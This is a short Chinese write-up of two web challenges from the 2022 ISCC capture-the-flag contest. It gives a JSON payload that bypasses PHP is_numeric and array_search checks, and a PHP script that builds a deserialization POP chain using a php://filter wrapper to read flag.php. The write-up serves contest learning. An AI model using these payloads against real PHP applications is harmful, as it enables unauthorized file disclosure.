浅浅的分享一下2022年ISCC

WEB

1. 冬奥会：你来参加2022届冬奥会，想知道冬奥会的主办方想告诉你什么吗？
   题目入口：59.110.159.206:7060

 

 我们根据审计可知需要我们构造 josn 然后 get 传参，需要绕过的地方：

1.is_numeric()对 year 的过滤，这里我们用 2022a 绕过。

2.is_array 那里要求我们 items[1] 必须为数组，并且 items 的空间为

3.array_search 的绕过，相当于弱比较，我们直接赋值为 0，即可绕过

即可以输入：{"year":"2022a","items":["0",[],0]}

http://59.110.159.206:7060/?Information={%22year%22:%222022a%22,%22items%22:[%220%22,[],0]}

得到flag

2. Pop2022

大家好，我是pip美，我的朋友pop子出现了一些问题，你们能帮我找到pop子出了什么问题吗？
题目入口：59.110.159.206:7050

pop 链反序列化的题直接利用脚本

<?php

class Try_Work_Hard{

   

 protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';

}

class Road_is_Long{

public $page;

public $string;

}

class Make_a_Change{

    

public $effort;

}

$a=new Road_is_Long();

$b=new Road_is_Long();

$c=new Make_a_Change();

$d=new Try_Work_Hard();

$a -> page=$b;

$b -> string=$c;

$c -> effort =$d;

echo urlencode(serialize($a));

运行后的代码传参就得到了 base64 编码，解码可得 flag